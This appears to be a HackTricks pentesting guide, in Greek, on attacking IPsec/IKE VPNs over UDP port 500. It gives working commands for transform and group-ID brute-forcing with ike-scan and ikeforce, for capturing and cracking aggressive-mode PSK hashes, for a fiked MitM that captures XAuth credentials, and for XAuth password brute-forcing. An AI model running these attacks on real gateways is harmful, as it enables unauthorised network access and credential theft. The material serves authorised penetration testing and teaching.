500/udp - Pentesting IPsec/IKE VPN

Support HackTricks

Basic Information

IPsec είναι ευρέως αναγνωρισμένο ως η κύρια τεχνολογία για την ασφάλιση των επικοινωνιών μεταξύ δικτύων (LAN-to-LAN) και από απομακρυσμένους χρήστες προς την πύλη του δικτύου (remote access), λειτουργώντας ως η ραχοκοκαλιά για τις λύσεις VPN επιχειρήσεων.

Η εγκαθίδρυση μιας ασφαλούς συσχέτισης (SA) μεταξύ δύο σημείων διαχειρίζεται από το IKE, το οποίο λειτουργεί υπό την ομπρέλα του ISAKMP, ενός πρωτοκόλλου σχεδιασμένου για την αυθεντικοποίηση και την ανταλλαγή κλειδιών. Αυτή η διαδικασία εκτυλίσσεται σε πολλές φάσεις:

  • Φάση 1: Δημιουργείται ένα ασφαλές κανάλι μεταξύ δύο σημείων. Αυτό επιτυγχάνεται μέσω της χρήσης ενός Προ-Κοινόχρηστου Κλειδιού (PSK) ή πιστοποιητικών, χρησιμοποιώντας είτε κύριο τρόπο, ο οποίος περιλαμβάνει τρία ζεύγη μηνυμάτων, είτε επιθετικό τρόπο.

  • Φάση 1.5: Αν και δεν είναι υποχρεωτική, αυτή η φάση, γνωστή ως η Φάση Επεκτεταμένης Αυθεντικοποίησης, επαληθεύει την ταυτότητα του χρήστη που προσπαθεί να συνδεθεί απαιτώντας ένα όνομα χρήστη και έναν κωδικό πρόσβασης.

  • Φάση 2: Αυτή η φάση είναι αφιερωμένη στη διαπραγμάτευση των παραμέτρων για την ασφάλιση των δεδομένων με ESP και AH. Επιτρέπει τη χρήση αλγορίθμων διαφορετικών από αυτούς στη Φάση 1 για να διασφαλιστεί η Τέλεια Προχωρημένη Μυστικότητα (PFS), ενισχύοντας την ασφάλεια.

Προεπιλεγμένη θύρα: 500/udp

Ανακαλύψτε την υπηρεσία χρησιμοποιώντας nmap

root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT    STATE SERVICE
500/udp open  isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)

Εύρεση έγκυρης μεταμόρφωσης

Η διαμόρφωση IPSec μπορεί να προετοιμαστεί μόνο για να αποδεχτεί μία ή μερικές μεταμορφώσεις. Μια μεταμόρφωση είναι ένας συνδυασμός τιμών. Κάθε μεταμόρφωση περιέχει έναν αριθμό χαρακτηριστικών όπως DES ή 3DES ως αλγόριθμο κρυπτογράφησης, SHA ή MD5 ως αλγόριθμο ακεραιότητας, ένα προ-μοιρασμένο κλειδί ως τύπο αυθεντικοποίησης, Diffie-Hellman 1 ή 2 ως αλγόριθμο κατανομής κλειδιών και 28800 δευτερόλεπτα ως διάρκεια ζωής.

Έτσι, το πρώτο πράγμα που πρέπει να κάνετε είναι να βρείτε μια έγκυρη μεταμόρφωση, ώστε ο διακομιστής να επικοινωνήσει μαζί σας. Για να το κάνετε αυτό, μπορείτε να χρησιμοποιήσετε το εργαλείο ike-scan. Από προεπιλογή, το Ike-scan λειτουργεί σε κύριο τρόπο και στέλνει ένα πακέτο στην πύλη με ένα ISAKMP header και μια μόνο πρόταση με οκτώ μεταμορφώσεις μέσα σε αυτήν.

Ανάλογα με την απάντηση, μπορείτε να αποκτήσετε κάποιες πληροφορίες σχετικά με το σημείο τερματισμού:

root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify

Όπως μπορείτε να δείτε στην προηγούμενη απάντηση, υπάρχει ένα πεδίο που ονομάζεται AUTH με την τιμή PSK. Αυτό σημαίνει ότι το vpn είναι ρυθμισμένο χρησιμοποιώντας ένα προμοιρασμένο κλειδί (και αυτό είναι πραγματικά καλό για έναν pentester). Η τιμή της τελευταίας γραμμής είναι επίσης πολύ σημαντική:

  • 0 returned handshake; 0 returned notify: Αυτό σημαίνει ότι ο στόχος είναι όχι μια πύλη IPsec.

  • 1 returned handshake; 0 returned notify: Αυτό σημαίνει ότι ο στόχος είναι ρυθμισμένος για IPsec και είναι πρόθυμος να εκτελέσει διαπραγμάτευση IKE, και είτε μία είτε περισσότερες από τις μετατροπές που προτείνατε είναι αποδεκτές (μια έγκυρη μετατροπή θα εμφανιστεί στην έξοδο).

  • 0 returned handshake; 1 returned notify: Οι πύλες VPN απαντούν με ένα μήνυμα ειδοποίησης όταν καμία από τις μετατροπές δεν είναι αποδεκτή (αν και ορισμένες πύλες δεν το κάνουν, οπότε θα πρέπει να γίνει περαιτέρω ανάλυση και να δοθεί μια αναθεωρημένη πρόταση).

Στη συνέχεια, σε αυτή την περίπτωση έχουμε ήδη μια έγκυρη μετατροπή, αλλά αν βρίσκεστε στην 3η περίπτωση, τότε πρέπει να κάνετε brute-force λίγο για να βρείτε μια έγκυρη μετατροπή:

Πρώτα απ 'όλα, πρέπει να δημιουργήσετε όλες τις δυνατές μετατροπές:

for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done

Και στη συνέχεια κάντε brute-force το καθένα χρησιμοποιώντας το ike-scan (αυτό μπορεί να διαρκέσει αρκετά λεπτά):

while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt

Αν η brute-force δεν λειτούργησε, ίσως ο διακομιστής να απαντά χωρίς handshakes ακόμη και σε έγκυρους μετασχηματισμούς. Τότε, θα μπορούσατε να δοκιμάσετε την ίδια brute-force αλλά χρησιμοποιώντας επιθετική λειτουργία:

while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt

Ελπίζω μια έγκυρη μετατροπή να επιστραφεί. Μπορείτε να δοκιμάσετε την ίδια επίθεση χρησιμοποιώντας iker.py. Μπορείτε επίσης να προσπαθήσετε να κάνετε brute force μετατροπές με ikeforce:

./ikeforce.py <IP> # No parameters are required for scan -h for additional help

Στην Ομάδα DH: 14 = 2048-bit MODP και 15 = 3072-bit 2 = HMAC-SHA = SHA1 (σε αυτή την περίπτωση). Η μορφή --trans είναι $Enc,$Hash,$Auth,$DH

Η Cisco υποδεικνύει να αποφεύγεται η χρήση των ομάδων DH 1 και 2 επειδή δεν είναι αρκετά ισχυρές. Οι ειδικοί πιστεύουν ότι χώρες με πολλούς πόρους μπορούν εύκολα να σπάσουν την κρυπτογράφηση των δεδομένων που χρησιμοποιούν αυτές τις αδύναμες ομάδες. Αυτό γίνεται με τη χρήση μιας ειδικής μεθόδου που τις προετοιμάζει να σπάσουν τους κωδικούς γρήγορα. Παρόλο που κοστίζει πολλά χρήματα για να ρυθμιστεί αυτή η μέθοδος, επιτρέπει σε αυτές τις ισχυρές χώρες να διαβάζουν τα κρυπτογραφημένα δεδομένα σε πραγματικό χρόνο αν χρησιμοποιούν μια ομάδα που δεν είναι ισχυρή (όπως 1,024-bit ή μικρότερη).

Αναγνώριση διακομιστή

Στη συνέχεια, μπορείτε να χρησιμοποιήσετε το ike-scan για να προσπαθήσετε να ανακαλύψετε τον προμηθευτή της συσκευής. Το εργαλείο στέλνει μια αρχική πρόταση και σταματά να επαναλαμβάνει. Στη συνέχεια, θα αναλύσει τη διαφορά χρόνου μεταξύ των ληφθέντων μηνυμάτων από τον διακομιστή και του αντίστοιχου προτύπου απάντησης, ο pentester μπορεί να αναγνωρίσει με επιτυχία τον προμηθευτή της πύλης VPN. Επιπλέον, μερικοί διακομιστές VPN θα χρησιμοποιήσουν το προαιρετικό Vendor ID (VID) payload με το IKE.

Καθορίστε τη valid μετατροπή αν χρειάζεται (χρησιμοποιώντας --trans)

Αν το IKE ανακαλύψει ποιος είναι ο προμηθευτής, θα το εκτυπώσει:

root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

IKE Backoff Patterns:

IP Address       No.  Recv time            Delta Time
172.16.21.200    1    1322286031.744904    0.000000
172.16.21.200    2    1322286039.745081    8.000177
172.16.21.200    3    1322286047.745989    8.000908
172.16.21.200    4    1322286055.746972    8.000983
172.16.21.200    Implementation guess: Cisco VPN Concentrator

Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify

Αυτό μπορεί επίσης να επιτευχθεί με το nmap script ike-version

Εύρεση του σωστού ID (όνομα ομάδας)

Για να επιτραπεί η σύλληψη του hash, χρειάζεστε μια έγκυρη μετατροπή που να υποστηρίζει τη λειτουργία Aggressive και το σωστό ID (όνομα ομάδας). Πιθανώς δεν θα γνωρίζετε το έγκυρο όνομα ομάδας, οπότε θα πρέπει να το βρείτε με brute-force. Για να το κάνετε αυτό, θα σας πρότεινα 2 μεθόδους:

Bruteforcing ID με ike-scan

Πρώτα απ' όλα, προσπαθήστε να κάνετε ένα αίτημα με ένα ψεύτικο ID προσπαθώντας να συγκεντρώσετε το hash ("-P"):

ike-scan -P -M -A -n fakeID <IP>

Αν δεν επιστραφεί κανένας hash, τότε πιθανότατα αυτή η μέθοδος brute forcing θα λειτουργήσει. Αν επιστραφεί κάποιος hash, αυτό σημαίνει ότι θα σταλεί ένας ψεύτικος hash για μια ψεύτικη ταυτότητα, οπότε αυτή η μέθοδος δεν θα είναι αξιόπιστη για να κάνετε brute-force την ταυτότητα. Για παράδειγμα, μπορεί να επιστραφεί ένας ψεύτικος hash (αυτό συμβαίνει σε σύγχρονες εκδόσεις):

Αλλά αν, όπως είπα, δεν επιστραφεί κανένας hash, τότε θα πρέπει να προσπαθήσετε να κάνετε brute-force κοινών ονομάτων ομάδων χρησιμοποιώντας το ike-scan.

Αυτό το σενάριο θα προσπαθήσει να κάνει brute-force πιθανές ταυτότητες και θα επιστρέψει τις ταυτότητες όπου επιστρέφεται μια έγκυρη χειραψία (αυτό θα είναι ένα έγκυρο όνομα ομάδας).

Αν έχετε ανακαλύψει μια συγκεκριμένη μετατροπή, προσθέστε την στην εντολή ike-scan. Και αν έχετε ανακαλύψει πολλές μετατροπές, μη διστάσετε να προσθέσετε έναν νέο βρόχο για να τις δοκιμάσετε όλες (θα πρέπει να τις δοκιμάσετε όλες μέχρι να λειτουργήσει σωστά μία από αυτές).

Μπορείτε να χρησιμοποιήσετε το λεξικό του ikeforce ή αυτό στο seclists με κοινά ονόματα ομάδων για να τα κάνετε brute-force:

while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt

Or use this dict (is a combination of the other 2 dicts without repetitions):

Bruteforcing ID with Iker

iker.py επίσης χρησιμοποιεί ike-scan για να κάνει brute force πιθανά ονόματα ομάδων. Ακολουθεί τη δική του μέθοδο για να βρει μια έγκυρη ταυτότητα με βάση την έξοδο του ike-scan.

Bruteforcing ID with ikeforce

ikeforce.py είναι ένα εργαλείο που μπορεί να χρησιμοποιηθεί για να κάνει brute force ταυτότητες επίσης. Αυτό το εργαλείο θα προσπαθήσει να εκμεταλλευτεί διάφορες ευπάθειες που θα μπορούσαν να χρησιμοποιηθούν για να διακρίνουν μεταξύ μιας έγκυρης και μιας μη έγκυρης ταυτότητας (μπορεί να έχει ψευδώς θετικά και ψευδώς αρνητικά, γι' αυτό προτιμώ να χρησιμοποιώ τη μέθοδο ike-scan αν είναι δυνατόν).

Από προεπιλογή, το ikeforce θα στείλει στην αρχή μερικές τυχαίες ταυτότητες για να ελέγξει τη συμπεριφορά του διακομιστή και να καθορίσει την τακτική που θα χρησιμοποιήσει.

  • Η πρώτη μέθοδος είναι να κάνει brute-force τα ονόματα ομάδων αναζητώντας τις πληροφορίες Dead Peer Detection DPD των συστημάτων Cisco (αυτές οι πληροφορίες επαναλαμβάνονται μόνο από τον διακομιστή αν το όνομα της ομάδας είναι σωστό).

  • Η δεύτερη μέθοδος που είναι διαθέσιμη είναι να ελέγχει τον αριθμό των απαντήσεων που αποστέλλονται σε κάθε προσπάθεια γιατί μερικές φορές αποστέλλονται περισσότερα πακέτα όταν χρησιμοποιείται η σωστή ταυτότητα.

  • Η τρίτη μέθοδος συνίσταται στο να αναζητά "INVALID-ID-INFORMATION" ως απάντηση σε λανθασμένη ταυτότητα.

  • Τέλος, αν ο διακομιστής δεν επαναλάβει τίποτα στους ελέγχους, το ikeforce θα προσπαθήσει να κάνει brute force τον διακομιστή και να ελέγξει αν όταν αποστέλλεται η σωστή ταυτότητα, ο διακομιστής επαναλαμβάνει με κάποιο πακέτο. Προφανώς, ο στόχος του brute forcing της ταυτότητας είναι να αποκτήσετε το PSK όταν έχετε μια έγκυρη ταυτότητα. Στη συνέχεια, με την ταυτότητα και το PSK θα πρέπει να κάνετε brute force το XAUTH (αν είναι ενεργοποιημένο).

Αν έχετε ανακαλύψει μια συγκεκριμένη μετατροπή, προσθέστε την στην εντολή ikeforce. Και αν έχετε ανακαλύψει πολλές μετατροπές, μη διστάσετε να προσθέσετε έναν νέο βρόχο για να τις δοκιμάσετε όλες (θα πρέπει να τις δοκιμάσετε όλες μέχρι να λειτουργήσει σωστά μία από αυτές).

git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic

Sniffing ID

(Από το βιβλίο Network Security Assessment: Know Your Network): Είναι επίσης δυνατό να αποκτήσετε έγκυρα ονόματα χρηστών παρακολουθώντας τη σύνδεση μεταξύ του VPN client και του server, καθώς το πρώτο πακέτο του επιθετικού τρόπου που περιέχει το client ID αποστέλλεται σε καθαρή μορφή.

Capturing & cracking the hash

Τέλος, αν έχετε βρει μια έγκυρη μετατροπή και το όνομα ομάδας και αν επιτρέπεται ο επιθετικός τρόπος, τότε μπορείτε πολύ εύκολα να αποκτήσετε το κωδικοποιημένο hash που μπορεί να σπάσει:

ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor

Ο hash θα αποθηκευτεί μέσα στο hash.txt.

Μπορείτε να χρησιμοποιήσετε psk-crack, john (χρησιμοποιώντας ikescan2john.py) και hashcat για να crack τον hash:

psk-crack -d <Wordlist_path> psk.txt

XAuth

Aggressive mode IKE σε συνδυασμό με ένα Pre-Shared Key (PSK) χρησιμοποιείται συνήθως για σκοπούς ομαδικής αυθεντικοποίησης. Αυτή η μέθοδος ενισχύεται από το XAuth (Extended Authentication), το οποίο εισάγει μια επιπλέον στρώση αυθεντικοποίησης χρήστη. Αυτή η αυθεντικοποίηση συνήθως εκμεταλλεύεται υπηρεσίες όπως το Microsoft Active Directory, RADIUS, ή συγκρίσιμα συστήματα.

Με τη μετάβαση στο IKEv2, παρατηρείται μια σημαντική αλλαγή όπου το EAP (Extensible Authentication Protocol) χρησιμοποιείται αντί του XAuth για την αυθεντικοποίηση χρηστών. Αυτή η αλλαγή υπογραμμίζει μια εξέλιξη στις πρακτικές αυθεντικοποίησης εντός των ασφαλών πρωτοκόλλων επικοινωνίας.

Τοπικό δίκτυο MitM για την καταγραφή διαπιστευτηρίων

Έτσι μπορείτε να καταγράψετε τα δεδομένα της σύνδεσης χρησιμοποιώντας fiked και να δείτε αν υπάρχει κάποιο προεπιλεγμένο όνομα χρήστη (Πρέπει να ανακατευθύνετε την κίνηση IKE στο fiked για να την καταγράψετε, κάτι που μπορεί να γίνει με τη βοήθεια του ARP spoofing, περισσότερες πληροφορίες). Το Fiked θα λειτουργήσει ως σημείο τερματισμού VPN και θα καταγράψει τα διαπιστευτήρια XAuth:

fiked -g <IP> -k testgroup:secretkey -l output.txt -d

Επίσης, χρησιμοποιώντας το IPSec προσπαθήστε να κάνετε μια επίθεση MitM και να μπλοκάρετε όλη την κίνηση στην θύρα 500, αν η σήραγγα IPSec δεν μπορεί να δημιουργηθεί ίσως η κίνηση θα σταλεί σε καθαρή μορφή.

Brute-forcing XAUTH username ad password with ikeforce

Για να κάνετε brute force το XAUTH (όταν γνωρίζετε ένα έγκυρο όνομα ομάδας id και το psk) μπορείτε να χρησιμοποιήσετε ένα όνομα χρήστη ή μια λίστα ονομάτων χρηστών και μια λίστα κωδικών πρόσβασης:

./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]

Με αυτόν τον τρόπο, το ikeforce θα προσπαθήσει να συνδεθεί χρησιμοποιώντας κάθε συνδυασμό username:password.

Αν βρείτε έναν ή περισσότερους έγκυρους μετασχηματισμούς, απλώς χρησιμοποιήστε τους όπως στα προηγούμενα βήματα.

Αυθεντικοποίηση με ένα IPSEC VPN

Στο Kali, το VPNC χρησιμοποιείται για την εγκαθίδρυση IPsec tunnels. Τα προφίλ πρέπει να βρίσκονται στον κατάλογο /etc/vpnc/. Μπορείτε να ξεκινήσετε αυτά τα προφίλ χρησιμοποιώντας την εντολή vpnc.

Οι παρακάτω εντολές και ρυθμίσεις απεικονίζουν τη διαδικασία ρύθμισης μιας σύνδεσης VPN με το VPNC:

root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0

In this setup:

  • Αντικαταστήστε το [VPN_GATEWAY_IP] με τη πραγματική διεύθυνση IP της πύλης VPN.

  • Αντικαταστήστε το [VPN_CONNECTION_ID] με τον αναγνωριστικό για τη σύνδεση VPN.

  • Αντικαταστήστε το [VPN_GROUP_SECRET] με το μυστικό ομάδας του VPN.

  • Αντικαταστήστε το [VPN_USERNAME] και το [VPN_PASSWORD] με τα διαπιστευτήρια αυθεντικοποίησης του VPN.

  • [PID] συμβολίζει το αναγνωριστικό διαδικασίας που θα ανατεθεί όταν το vpnc ξεκινήσει.

Βεβαιωθείτε ότι χρησιμοποιούνται πραγματικές, ασφαλείς τιμές για να αντικαταστήσουν τις θέσεις κατά τη ρύθμιση του VPN.

Reference Material

Shodan

  • port:500 IKE

Support HackTricks

Last updated